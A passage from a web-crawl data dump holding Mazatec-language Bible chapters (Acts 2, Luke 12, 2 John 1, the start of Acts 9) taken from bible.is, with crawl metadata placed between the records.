mìtsà ngajmiì kiì mijìn; ta̱nga k'oa̱á kitsò: Jè Nainá kitsò‑la̱ jè xi Nei‑na̱: \"Ti̱jnat'aà‑ná i̱ kixi̱‑na̱, 35skanda k'e̱ nga sìkítsa̱jnanguia kondra̱‑lè ñánda nchasòn ndso̱koiì.\" 36'Jñò xi xi̱ta̱ na̱xa̱ndá Israel tsa̱jòn, ndaà jcha̱a yije nga 'ñó kixi̱ tjín kjoa̱ nga jè Jesús xi jñò tsakat'aà krò, Nainá, k'oa̱á s'ín kisìkíjna nga jè‑né xi Na̱'èn‑ná, ko̱ ti̱jè‑ne xi Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. 37K'e̱ nga kiì'nchré 'én xi o̱kitsò jñà xi̱ta̱ xi ya̱ títsa̱jna, kisìkájno i̱jiìn ini̱ma̱‑la̱; k'e̱é kiskònangui‑la̱ Pedro ko̱ xi̱ta̱ xíkjín xi i'nga xi ti̱koa̱ xó tsibíxáya‑la̱ Jesús. Kitsò‑la̱: ―'Ndsè, ¿mé xi s'e̱n‑je̱n? 38Pedro kitsò‑la̱: ―Ti̱kájno jé‑nò, kì ti̱ jé binchaàtsji‑nò; t'e̱en bautizar yijo‑nò i̱t'aà ts'e̱ Jesucristo nga jngoò ìjngoò‑nò, mé‑ne nga si̱ìjchàat'aà‑nò Nainá, ti̱koa̱ tsjá‑nò Ini̱ma̱ Tsjeè‑la̱. 39Koni s'ín kitsjaà tso'ba Nainá, 'én xi tsibíjna tsa̱jòn‑nò; ti̱koa̱á ts'e̱é i̱xti‑nò, ko̱ ngats'iì xi̱ta̱ xi kjiìn títsa̱jna, nga yije xi jè sobà Nainá xó ki̱chja̱‑la̱. 40Pedro, kjìn 'én kiìchja̱jiìn‑sa̱‑la̱. 'Ñó kiìchja̱ko̱. Kitsò‑la̱: ―¡Ti̱nchat'aàxìn‑là kjo̱'in xi tjoé‑la̱ jñà xi̱ta̱ koi xi ch'o s'ín! 41Jñà xi̱ta̱ xi kòkjeiín‑la̱ 'én xi kiìchja̱ Pedro komà bautizar; ma‑la̱ tsà jàn jmiì xi̱ta̱ xi jahas'en‑t'aà na̱chrjein jè. 42Kóho̱tjín, kixi̱í chinchako̱ 'én xi kiì'nchré koni s'ín tsakóya‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, ti̱koa̱ kjit'aà na̱chrjein maxkóya nga kjèn‑ko̱ xíkjín ti̱koa̱ chja̱t'aà‑la̱ Nainá. 43Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna tà kitsakjòn‑né k'e̱ nga kijtseè ngats'iì kjo̱ndaà ko̱ kjo̱xkón xi kis'iìn jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 44Jñà xi̱ta̱ xi jye kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo bìtsa̱jnajtín‑né kóho̱tjín; síxkoa̱ya yije mé tsojmì xi tjín‑la̱. 45Otíjna nangui‑la̱ ko̱ tsojmì xi tjín‑la̱, i̱kjoàn síjòya to̱n‑la̱ koni s'ín mochjeén‑la̱ nga jngoò ìjngoò. 46Na̱chrjein inchijòn bixoña ya̱ ndi̱tsin i̱ngo̱ ítjòn, ko̱ ya̱ ni'ya‑la̱ xíkjín nga kjèn‑kjoò nga tjín‑la̱ kjo̱tsja ko̱ indaàjiìn tjín ini̱ma̱‑la̱. 47Jeya kisìkíjna Nainá; jñà xi̱ta̱ na̱xa̱ndá tsjakeè komà xi̱ta̱‑la̱ Cristo; jè Nainá, na̱chrjein inchijòn kisìkas'en‑t'aà‑ìsa na̱xa̱ndá‑la̱ Cristo jñà xi̱ta̱ xi jè mejèn‑la̱ nga ki̱tjokàjiìn kjo̱'in.\nHechos 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/2","date":"2013-12-09T10:23:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163956743\/warc\/CC-MAIN-20131204133236-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":1046,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye 'ñó kjìn jmiì kòkjìn xi̱ta̱, chi̱ba̱‑la̱ otíjno, otít'aà xíkjín, tsibíts'ia̱ Jesús nga kiìchja̱ ítjòn‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱; kitsò‑la̱: ―Ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ xi̱ta̱ fariseo xi jò i̱sén tjín‑la̱; kì k'oa̱á s'ín ko̱mat'ioòn koni ma na̱'yo̱ san nga sísan xíkjín k'e̱ nga ótijiìn‑la̱. 2Nì mé tjín xi tíjtsa'ma xi mìkiì ko̱tsejèn; ngats'iì xi tjí'ma, jcha̱á‑la̱. 3Ngats'iì kjoa̱ xi ki̱nókjoa̱'maà k'e̱ nga ni̱tje̱n, kji̱'nchré yije xi̱ta̱ k'e̱ nga na̱chrjein; jè kjoa̱ xi ya̱ ki̱nókjoa̱'maà i̱ya ni'ya‑nò, ján i̱sò'nga ni'ya, 'ñó ki̱ná'ya‑la̱. 4'Jñò xi amigo ts'a̱n xan‑nò, kì tsakjoòn‑là jñà xi ma‑la̱ sík'en yijo‑ná; k'e̱ nga jye ma, ni̱ ti̱ mé xi síko̱‑ìsa‑ná. 5'A̱n, k'oa̱ xán‑nò yá xi ki̱skón‑là; jè xi ti̱skón‑là, jè xi ma‑la̱ sík'en‑ná, i̱kjoàn tjí'nde‑la̱ nga síkatje̱n‑jiìn‑ná ñánda títì ni'ín xi ts'e̱ kjo̱'in. K'oa̱á xan‑nò, jè xi ti̱skón‑là. 6'K'e̱ nga 'òn ndí ni̱se, sa̱á jò to̱n satíjna‑ne. Ta̱nga Nainá, tjín‑la̱ kinda̱. Ni̱jngoò ni̱se síjchàajiìn. 7Xi i̱t'aà tsa̱jòn, ìsa̱á 'ñó tse chjí‑nò mì k'oa̱á‑ne koni na̱s'ín 'ñó kjìn ma ni̱se. Skanda tsja̱skoò tíxke̱ya yije‑la̱ Nainá. Kì tsakjoòn‑jèn, nga Nainá 'ñó ndaà s'ín‑nò kinda̱. 8'Ngats'iì xi̱ta̱ xi tsjá 'én nga nguixko̱n xi̱ta̱ nga 'a̱n fìt'aà‑na, ti̱koa̱á 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tsjaà‑la̱ 'én jñà àkja̱le̱‑la̱ Nainá nga xi̱ta̱ ts'a̱n xan‑la̱. 9Ta̱nga jè xi kjójna'mat'in‑na nga nguixko̱n xi̱ta̱, ti̱koa̱á si̱'mat'in‑né nga nguixko̱n àkja̱le̱‑la̱ Nainá. 10'Ngats'iì xi̱ta̱ xi ch'o tsò 'én xi ki̱chja̱jno‑na 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, jcha̱t'aà‑la̱ jé‑la̱; ta̱nga jñà xi ki̱chja̱jno‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá mìkiì jcha̱t'aà‑la̱ jé‑la̱. 11'Jñò, k'e̱ nga kji̱ko̱‑nò xi̱ta̱ ya̱ ni'ya i̱ngo̱ sinagoga, ya̱ nguixko̱n xi̱ta̱ ítjòn ko̱ ts'e̱ xi̱ta̱xá, kì makájno‑nò kó s'ín kixón nga ko̱si̱ko̱ yijo‑nò mé 'én xi ki̱nókjoa̱a. 12K'e̱ nga ki̱jchò hora nga ki̱nókjoa̱a, jè Ini̱ma̱ Tsjeè‑la̱ Nainá, ke̱èno̱jmíya‑nò kó s'ín kixón. 13Jngoò xi̱ta̱ xi ya̱ tíjnajiìn‑la̱ xi̱ta̱ kjìn, kitsò‑la̱ Jesús: ―Maestro, ko̱t'ìn‑la̱ jè 'ndsè kàtasíjòya tsojmì‑la̱ xi̱ta̱ jchínga‑na̱je̱n; xi 'a̱n oko̱‑na, kàtatsjá‑na. 14Ta̱nga jè Jesús kitsò‑la̱: ―Ji̱ amigo, mìtsà xi̱ta̱xá tjín‑na nga 'a̱n sìjòya‑nò tsojmì xi tsa̱jòn. 15Jesús ti̱koa̱á kitsò‑ìsa‑la̱: ―Chítsejèn, ti̱koa̱ t'e̱en kinda̱ yijo‑nò; kì 'ñó kjìn tsojmì binchaàtsjioò i̱ i̱sò'nde; nga jngoò xi̱ta̱, na̱s'ín 'ñó kjìn tsojmì tjín‑la̱, mìkiì si̱ìkíjnakon tsojmì‑la̱. 16Ti̱koa̱á tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn; kitsò‑la̱: ―Jngoò k'a jngoò xi̱ta̱ xi 'ñó nchi̱ná, 'ñó kjìn tsojmì kòjchásòn nangui‑la̱. 17Xi̱ta̱ jè, kisìkítsjeèn; kitsò: \"¿Mé xi s'iaàn? Tsjìn‑na ñánda ki̱nchaàxkoá tsojmì‑na.\" 18K'e̱é kitsò: \"Jyeé be mé xi s'iaàn. Siìkixòña ni'nga‑na̱, i̱kjoàn kìndaà‑ìsa xi ìsa̱ iì kjoàn; ya̱á ki̱nchaàxkoá yije kóho̱tjín tsojmì xi kòjchá‑na ko̱ xi tjín‑na. 19I̱kjoàn xán‑la̱ yijo‑na̱: Kjìn tsojmì 'nchaxkó‑na. Kjìn nó ko̱ma‑la̱; siìkjáya, kókje̱en, skia̱a, siìtsjakoa̱a i̱sò'nde.\" 20Ta̱nga jè Nainá kitsò‑la̱: \"Ji̱ xi xi̱ta̱ tòndo̱ 'mì‑lè, ni̱tje̱n jè, ki̱yá‑né. Tsojmì xi 'nchaxkó‑lè, ¿yá ts'e̱ ko̱ma?\" 21K'oa̱á s'ín mat'in jñà xi̱ta̱ xi tà tsojmì ts'e̱ yijo‑la̱ bincháxkó koa̱ mìtsà xi̱ta̱ nchi̱ná nga nguixko̱n Nainá. 22Nga komà i̱skan Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Koií k'oa̱ xan‑nò: kì makájno‑nò mé tsojmì xi chji̱ne̱e nga si̱jchá yijo‑nò ko̱ mé nikje xi chi̱kjá. 23Ìsa̱á 'ñó tse chjí‑la̱ nga titsa̱jnakoaán i̱ i̱sò'nde koni jñà tsojmì xi ma chine. Ti̱koa̱á yijo‑ná, ìsa̱á 'ñó tse chjí‑la̱ koni jñà nikje xi chíkjá. 24Chítsejèn‑là jñà nchra̱á; mì jno̱ó 'beé, mì ni̱ji̱n bincháxkó, tsjìn‑la̱ kaxa̱ no̱jmé, ti̱koa̱ tsjìn‑la̱ ni'nga; ta̱nga jè Nainá tsjá‑la̱ tsojmì xi kine. ¡Jñò, ìsa̱á 'ñó chjí‑nò mì k'oa̱á‑ne koni jñà cho̱ xi tjímajiìn i̱sén! 25Jñò, na̱s'ín ta̱kó 'ñó si̱kájnoò, ni̱ i̱tsé ko̱ma si̱katonè‑là na̱chrjein‑nò koni s'ín tjíndaà‑la̱ Nainá. 26Tsà mìkiì ma‑nò nìkitasòn kjoa̱ xi chiba tjín, mé‑ne nga jè nìkájno‑nò kjoa̱ xi ìsa̱ chjá tjín. 27'Chítsejèn‑là naxó lirio, kó s'ín majchá; mìkiì síxá, mìkiì ma‑la̱ faña nikje; ta̱nga 'a̱n, k'oa̱á xan‑nò, ndaà tsà jè Salomón xi xi̱ta̱xá ítjòn tsibìjna nga 'ñó xi̱ta̱ jeya, mì k'oa̱á kjoàn nikje tsohòkjá koni kjoàn jñà naxó. 28Nainá, k'oa̱á s'ín ndaà kjoàn s'ín xka̱ ijñá, xi jngoò na̱chrjein títsa̱jnakon ko̱ xi ma nchijòn kotsjòojiìn ni'ín. Jñò xi xi̱ta̱ 'mì‑nò xi mìkiì ndaà mokjeiín‑nò, ¿a mìtsà ìsa̱ ni̱to̱n tsjá‑nò Nainá nikje xi mochjeén‑nò nga chi̱kjá? 29Jñò, kì nìkájno‑jèn; kì bixón‑jèn: \"¿Mé xi chji̱ne̱é; mé xi s'ioa̱á?\" 30Ngats'iì xi̱ta̱ i̱sò'nde, k'oa̱á tjín tsojmì xi ótsji, ta̱nga jñò, tíjnaá‑nò Na̱'èn xi Nainá; jyeé tíjiìn‑la̱ nga ko̱tjín tsojmì xi mochjeén‑nò. 31Jñò, ti̱nchátsjioò kjoa̱ ts'e̱ Nainá koni s'ín otíxoma; ngats'iì tsojmì xi mochjeén‑nò ti̱koa̱á tjoésòn‑nò. 32'Jñò, xi ndí orrè‑na xan‑nò, kì tsakjoòn‑jèn; k'oa̱á s'ín kiskoòsòn‑la̱ Nainá nga jñò ko̱ti̱xomakjoò ya̱ ñánda tíhotíxoma Nainá. 33Tati̱jnaà tsojmì xi tjín‑nò; tjiì kjo̱tjò‑là jñà xi̱ta̱ xi mochjeén‑la̱; k'e̱ nga tsà k'oa̱s'ín s'e̱en, k'oa̱á ngaya‑la̱ koni tsà nchisakó ngajo‑nò chijtsa to̱n ján ngajmiì xi mìkiì majchínga; sa̱kò‑nò tsojmì xi 'ñó tse chjí‑la̱ ján ngajmiì ya̱ ñánda mìkiì kjoe̱het'aà, mìkiì bijchó chijé, ti̱koa̱ mìkiì síkje cho̱ kixo. 34Ya̱ ñánda ki̱nchajtión tsojmì‑nò, ti̱koa̱á ya̱á si̱ìkítsjeèn ini̱ma̱‑nò. 35'Ndaà titsa̱jnandaà nga si̱kitasòn‑là Na̱'èn‑ná koni jngoò xi̱ta̱ xi ndaà tíkjá xincho̱‑la̱ ko̱ ndaà títì ni'ín‑la̱. 36K'oa̱á s'ín ndaà titsa̱jnakoòn koni jñà xi̱ta̱ chi̱'nda xi nchikoña‑la̱ nei‑la̱ xi s'eí kòfì ñánda kòbixan xi̱ta̱, mé‑ne k'e̱ nga kjoi̱í‑ne, nei‑la̱ ni'ya ki̱chja̱, si̱ìkjane xotjoa̱ ni'ya, i̱kjoàn skíx'a̱‑la̱. 37Mé tà ndaà‑la̱ jñà xi̱ta̱ chi̱'nda xi títsa̱jnakon k'e̱ nga kjoi̱í‑ne nei‑la̱. Xi o̱kixi̱, k'oa̱á xán‑nò, jè sobà nei‑la̱ skoé nikje ot'aà‑la̱ nga ko̱òt'aà koa̱ si̱ìkítsa̱jnat'aà ími̱xa̱‑la̱, i̱kjoàn si̱ìkjèn. 38Mé tà ndaà‑la̱ jñà chi̱'nda xi ko̱s'ín títsa̱jnakon na̱s'ín jye ijchò osen ni̱tje̱n, na̱s'ín jye nchrohós'e i̱sén nga kjoi̱í‑ne nei‑la̱. 39Tíjiìn‑nò tsà jngoò nei‑la̱ ni'ya si̱jiìn‑la̱ mé hora kjoi̱í xi̱ta̱ chijé nga si̱ìchijé‑la̱, kíjnakon‑né nga mìkiì tsjá'nde nga ko̱chijé‑la̱. 40Jñò, k'oa̱á ti̱s'ín titsa̱jnandaà; 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, kjoi̱i ìjngoò k'a k'e̱ nga mìkiì titsa̱chiñà kjoa̱a. 41Pedro kiskònangui, kitsò: ―Na̱'èn, jè kjoa̱ mangásòn xi tinokjoì, ¿a tà ji̱ín xi o̱tì'mì‑náje̱n, a xi kóho̱tjín xi̱ta̱? 42Kitsò Na̱'èn‑ná Jesús: ―K'oa̱á xán‑nò yá‑né xi chi̱'nda kixi̱ xi tjín‑la̱ kjoa̱chji̱ne̱ nga jè nei‑la̱ si̱ìkíjna'nda jñà chi̱'nda‑la̱ xi i'nga xi ya̱ síxá ni'ya‑la̱ mé‑ne nga k'e̱ ki̱jchò chi̱ba̱‑la̱, si̱ìkjèn chi̱'nda xíkjín. 43Mé tà ndaà‑la̱ jè chi̱'nda xi k'oa̱s'ín ndaà tísíkitasòn k'e̱ nga kjoi̱í‑ne nei‑la̱. 44O̱kixi̱í xi xan‑nò, nei‑la̱ chi̱'nda jè, jè si̱ìkíjna'nda yije tsojmì xi tjín‑la̱. 45Ta̱nga tsà jè chi̱'nda jè ki̱tso̱ nga ko̱òko̱ ini̱ma̱‑la̱: \"Nei‑na̱, kjìn na̱chrjein ko̱chrjein‑la̱ nga kjoi̱í‑ne.\" I̱kjoàn koi̱ìts'ia̱ nga ska̱àn‑ko̱ chi̱'nda x'i̱n xíkjín, ti̱koa̱ k'oe̱è‑la̱ jñà chi̱'nda íchjín; ko̱kje̱n, koa̱ skoí, koa̱ ko̱ch'i̱. 46Chi̱'nda jè, kjoi̱í‑ne nei‑la̱ jè na̱chrjein ko̱ jè hora k'e̱ nga mìkiì tíkoña‑la̱. 'Ñó tse kjo̱'in tsjá‑la̱; ya̱á si̱ìkíjnajiìn‑la̱ ñánda títsa̱jna xi̱ta̱ xi mìkiì mokjeiín‑la̱. 47'Jè chi̱'nda xi jye ndaà tíjiìn‑la̱ mé xi mejèn‑la̱ nei‑la̱, ta̱nga mìkiì bìjnandaà, ti̱koa̱ mìkiì síkitasòn koni s'ín síjé nei‑la̱, koií jé xi ko̱ma‑la̱ nga 'ñó ko̱jà‑la̱ nei‑la̱. 48Ta̱nga tsà jè chi̱'nda, tsà mìkiì tíjiìn‑la̱ nga kjo̱'in tjín‑la̱ kjoa̱ xi ch'o tjín, ìsa̱á chiba kjo̱'in s'e̱‑la̱. Jè xi tse kitjoé‑la̱, ìsa̱á tse si̱jé‑la̱; ti̱koa̱ jè xi tse kjònga̱tsja, ti̱koa̱á ìsa̱á tse si̱jé‑la̱. 49'Koni jngoò ni'ín xi oká tjé ko̱ síkijne‑ngui xi tsjeè, koií xá j'i̱‑na i̱ i̱t'aà nangui nga kjoa̱axìn‑la̱ jé‑la̱ xi̱ta̱ mé‑ne nga ko̱tsjeè‑ne. Tsí mejèn‑na tsà jye tíbitasòn. 50K'oa̱á s'ín tjínè‑na nga tse kjo̱'in ko̱tojñaà; ¡tsí ndaà makájno‑na skanda k'e̱ nga ki̱tasòn! 51¿A k'oa̱á s'ín nìkítsjeèn nga jè kjoa̱ xi j'iìkoa̱a nga 'nchán kítsa̱jna xi̱ta̱? Majìn, xán‑nò, kjoa̱siì kítsa̱jnajiìn jè nga̱tjì‑la̱ kjoa̱ ts'a̱n. 52Mats'ia̱‑ne skanda i̱'ndei̱ kóni nga fì‑ìsa na̱chrjein, k'oa̱á ngaya‑la̱ tsà 'òn ma xi̱ta̱ xi títsa̱jna nga jngoò ni'ya, jòya ko̱ma; xi jàn ma‑ne ska̱àn‑kjoòko̱ xi jò ma‑ne, jñà xi jò ma‑ne ska̱àn‑ko̱ xi jàn ma‑ne. 53Jò sko̱ya s'e̱. Na̱'èn‑la̱, kondra̱‑la̱á ko̱ma jè ki'ndí‑la̱; koa̱ jè ki'ndí‑la̱, kondra̱‑la̱á ko̱ma na̱'èn‑la̱; nea̱‑la̱, kondra̱‑la̱á ko̱ma tsòti‑la̱; jè tsòti‑la̱ kondra̱‑la̱á ko̱ma nea̱‑la̱; na̱chíya‑la̱, kondra̱‑la̱á ko̱ma jè kja'nda‑la̱; jè kja'nda‑la̱ kondra̱‑la̱á ko̱ma na̱chíya‑la̱. 54Jesús ti̱koa̱ kitsò‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne: ―K'e̱ nga 'yaà nga nchrobá ifi, bixón‑nò: \"Jtsí k'oa̱.\" K'oa̱á s'ín bitasòn. 55K'e̱ nga 'ba tjo̱ tsjè, bixón‑nò: \"Ndobá ko̱tsjè.\" K'oa̱á s'ín bitasòn, matsjè‑né. 56¡Jñò, xi̱ta̱ xi jò ma i̱sén‑nò! Maá‑nò chìtsejèn‑là kó choòn i̱t'aà ngajmiì ko̱ i̱t'aà nangui, koa̱, ¿mé‑ne nga mìkiì ma‑nò 'nè kinda̱ mé kjoa̱ xi tíma jñà na̱chrjein xi titsa̱jnaà? 57'¿Mé‑ne nga mì tà jñò bìndaàjiìn‑là xinguio̱o nga kàtakixi̱ya kjoa̱ xi tjín‑nò? 58K'e̱ nga onguió ján nguixko̱n xi̱ta̱xá ko̱ kondra̱‑lè, ti̱nchátsji'nde‑la̱ ya̱ i̱ya ndi̱yá mé‑ne nga ko̱ma jchi̱bàndaà‑nò nga mì ya̱ kji̱ko̱‑lè i̱t'aà ts'e̱ xi̱ta̱xá koa̱ jè xi̱ta̱xá mì ya̱ si̱ìnga̱tsja‑lè i̱t'aà ts'e̱ policía koa̱ jè policía nga mì nda̱yá ski̱nìs'en‑lè. 59K'oa̱á xan‑lè, mìkiì ko̱ma ki̱tjo̱o‑ne nda̱yá skanda k'e̱ nga kíchjítjì yijo‑lè nga yije xi si̱ìjé‑lè xi̱ta̱xá.\nSan Lucas 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/12","date":"2013-12-13T18:44:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164977792\/warc\/CC-MAIN-20131204134937-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":1346,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.259,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ ndí chjo̱ón ra xá jahíjin‑li Nainá, ko̱ jñà i̱xti‑li, tíbindá‑la xa̱jo̱n ra̱kìi̱ 'a̱n ra xi̱ta̱ jchínga 'mì‑na ya̱ i̱ngo̱. Ra ngi ko̱ó inìma̱‑na̱ tsjake̱‑no, mì tsa ta 'a̱n jiàa̱n ra tsjake̱‑no, ti̱'koa̱á tsjakeé‑no nga'tsì jñà ra ijye be kó'sín tjín kjo̱hixi̱. 2Kií ko̱'sín tsjake̱‑najiòn, ta nga̱tjì‑la̱ nga̱ ijyeé nda tjíjin ya̱ inìma̱‑ná jè ra ngi kjoa̱kixi̱, ko̱ ya̱á kíjnajin ki'ta skanda ta mé ni̱chjin‑ni. 3Nainá ra Na̱'ìn 'mì‑lá ko̱ jè Jesucristo ra tíjna ítjòn‑ná ra I'ndí‑la̱ Nainá ma, katatsjá‑no kjo̱nda, katahi̱ma̱ke‑no, 'nchán katasíkíjna ya̱ a̱jin inìma̱‑no, ra ngi ko̱ kjo̱hixi̱‑la̱ ko̱ kjo̱tsjacha‑la̱. 4Taxki̱ tsja ki'se‑na 'kia̱ nga kíjtsexkon i'ka jñà i̱xti‑li, nga̱ 'koa̱á 'sín i̱nchisíjchá ijo‑la̱ koni 'sín nga tjín kjoa̱kixi̱ 'tse̱ Nainá, koni 'sín nga ijye tsatéxoma‑ná jè Nainá ra Na̱'ìn 'mì‑lá. 5'Koa̱á 'sín tíbitsá'ba‑no 'ndi̱ 'ndi̱ jiòn ndí 'ndsé ra 'ñó matsjake̱‑no, nga machjeén‑ní nga 'ñó tsjacha 'sie̱én xàngie̱é nga jngó jngó‑ná. Nga̱ mì tsa kjo̱téxoma xi̱tse̱‑jìn ra tíbindá‑najiòn, ti̱jé‑ni jè kjo̱téxoma ra itjábé‑ná skanda ti̱'sa̱ tjà'tsin‑la̱ kjoa̱. 6Ki̱í 'sín tjín ra a̱'ta 'tse̱ kjo̱tsjacha, jé‑ní nga 'koa̱á 'sín si̱hitjasén koni 'sín tjín kjòn kjo̱téxoma‑la̱ Nainá, ijyeé ina'yé nga ti̱'sa̱ 'ñó kjotseé kó'sín tíchja̱ kjo̱téxoma. Nga 'ñó machjeén nga tsjacha 'sie̱én xàngie̱é nga jngó jngó‑ná. 7Nga̱ kjín ma‑ni xi̱ta̱ ra tjímasòn nga tíjngo i̱sà'nde ra i̱nchikònda̱cha̱‑la̱ xi̱ta̱, nga tsò: \"Mì tsa 'én kixi̱‑jìn nga ko̱'sín kitsin Jesucristo nga xi̱ta̱ kjomà koni ra jién.\" Jè xi̱ta̱ ra ko̱'sín tsò, ta tíkonda̱cha̱‑ní, ko̱ jé‑ní jè ra tíjna ítjòn nga kondra̱ fì‑la̱ Cristo. 8Nda ti̱kinda̱a ijo‑no, mé‑ni nga mì kì si̱jchija‑no jè kjo̱tjò ra tjábé‑no a̱'ta 'tse̱ xá ra i̱nchi'nià. Nga̱ machjeén‑ní nga katatjábé ijye‑no jè chjí‑la̱ xá ra i̱nchi'nià. 9Nga'tsì xi̱ta̱ ra batonè‑la̱ koni 'sín tjín 'én ra tsakón‑ya jè Cristo nga xìn ndi̱yá kjábé, mì tsa Nainá tíjnako̱; tanga jè ra kixi̱ tíjna nga ko̱'sín tí'sín koni 'sín tsakón‑ya Cristo, ya̱á tíjnako̱ Nainá ra Na̱'ìn 'mì‑lá ko̱ jè ra I'ndí‑la̱ ma. 10Tsa 'kia̱ jngo xi̱ta̱ ki̱jchòjkon‑no ra mejèn‑la̱ nga 'én‑la̱ Nainá 'ke̱èna̱jmí‑no, tanga tsa mì ko̱'sín bakón‑ya koni 'sín tsò 'én ra 'tse̱ Cristo, kì ni'ya‑no nìkjaha'sen ko̱ kì 'mì‑la: \"Ti̱jni.\" 11Nga̱ jè ra tsjá'nde‑la̱ nga si̱ìkjaha'sen ya̱ ni'ya‑la̱, ti̱'koa̱á ya̱á tísíngásòn‑ko̱ kjo̱bítsjen‑la̱ ko̱ jñà xi̱ta̱ ra ta kjoa̱ndiso tíbakón‑ya. 12Tjín jchán‑isa mé 'én ra mejèn‑na nga ko̱xín‑najiòn, tanga majìn‑na nga tà xa̱jo̱n ki'tá‑no. Jè ra mejèn‑na nga íjkon xátí‑no. 'Kia̱á isa̱ nda jchi̱bé mé‑ni nga ngásòn ngáya kata'se‑la̱ kjo̱tsja inìma̱‑ná nga'tsí‑ná. 13Jñà i̱xti‑la̱ chjo̱ón tichji ra ti̱'koa̱ xá jahíjin‑ni Nainá i̱nchisíkasén‑li 'én nga síkjáya‑li. Ko̱'sín katama.\n2 Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2John\/1","date":"2013-12-09T14:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163982738\/warc\/CC-MAIN-20131204133302-00038-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":410,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Saulo, kji'tá ni̱chjin mincháxkón‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga mejèn‑la̱ si̱ì'ken. 'Koa̱á ma‑ni nga kiìjkon jè na̱'mì ítjòn, 2nga isíjé‑la̱ xa̱jo̱n ra tsjá‑la̱ nga'ñó nga kijì ya̱ nga'tsì ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío ra tjín ján Damasco, mé‑ni nga ko̱ma jtsa̱ba̱'ñó‑ni jñà xi̱ta̱ ra fì'ta‑la̱ jè ndi̱yá xi̱tse̱‑la̱ Cristo, tsa íchjín ko̱ tsa íchjá, a̱kjòn kji̱nchrabàko̱ ya̱ Jerusalén nga si̱ìkítsa̱jna nda̱yá. 3'Kia̱ nga i̱nchifì ya̱ a̱ya ndi̱yá nga ijye ijchò chraña ya̱ na̱xi̱ndá Damasco, ta ndi̱to̱ón 'ji jngo ni'í ra kjohisen jngo tjandi‑la̱ ra inchrabà‑ni ján ngajmi. 4Jè Saulo iskàtje̱n'tá ya̱ nangi, a̱kjòn kií'nchréjta jngo‑la̱ 'én ra kiìchja̱jin i̱sén nga kitsò‑la̱: ―Ji̱ Saulo, ji̱ Saulo, ¿mé‑ni nga ko̱'sín kondra̱ 'mì‑ná nga mihìtji̱ngi‑ná? 5Jè Saulo kitsó‑ní: ―¿Yá‑ní ngaji̱, Na̱'ìn? Jè ra tíchja̱ kitsó‑la̱: ―'A̱n‑ná Jesús ko̱ 'a̱n‑ná ra kondra̱ tji'mì‑la̱ ji̱ nga tjimihìtji̱ngi‑ná. [Ti̱ji̱í tjifatsji‑la̱ kjo̱hi'in ijo‑li, koni 'sín 'sín jñà nchra̱ja̱ 'kia̱ nga tsjòn‑la̱ íkjo̱n ra bíchjà‑ila̱ ni‑la̱. 6Jè Saulo, sí jatsé‑ní; 'ñó itsakjòn; 'kia̱á kitsò: ―Na̱'ìn, ¿mé ra mejèn‑li nga 'siaa̱n? Jè Na̱'ín‑ná kitsó‑la̱:] ―Ti̱sítji̱in, 'tin ya̱ a̱jin na̱xi̱ndá ján; ko̱ ya̱á 'se̱na̱jmí‑li mé ra 'si̱in. 7Jñà xi̱ta̱ ra tje̱n‑ko̱ Saulo, ta isinchajyó‑ní nga itsakjòn 'kia̱ nga kií'nchré‑la̱ jè ra tíchja̱; tanga mì kì kijtse yá‑ni ra tíchja̱. 8Jè Saulo, tsasítje̱n'tá‑ni ya̱ nangi, tanga 'kia̱ nga iskí'xa̱ xko̱n, mì ti̱ kì tsatsíjen‑ila̱. Ta jñà xi̱ta̱ ra tje̱n‑ko̱ itsabà'ta, nga kiìko̱ ján Damasco. 9Jàn ni̱chjin ta ko̱'sín tsikijna nga mì ti̱ kì tsatsíjen‑ila̱, ko̱ ni̱mé ra iskine ti̱'koa̱á ni̱mé ra ki'tsi. 10Ya̱ 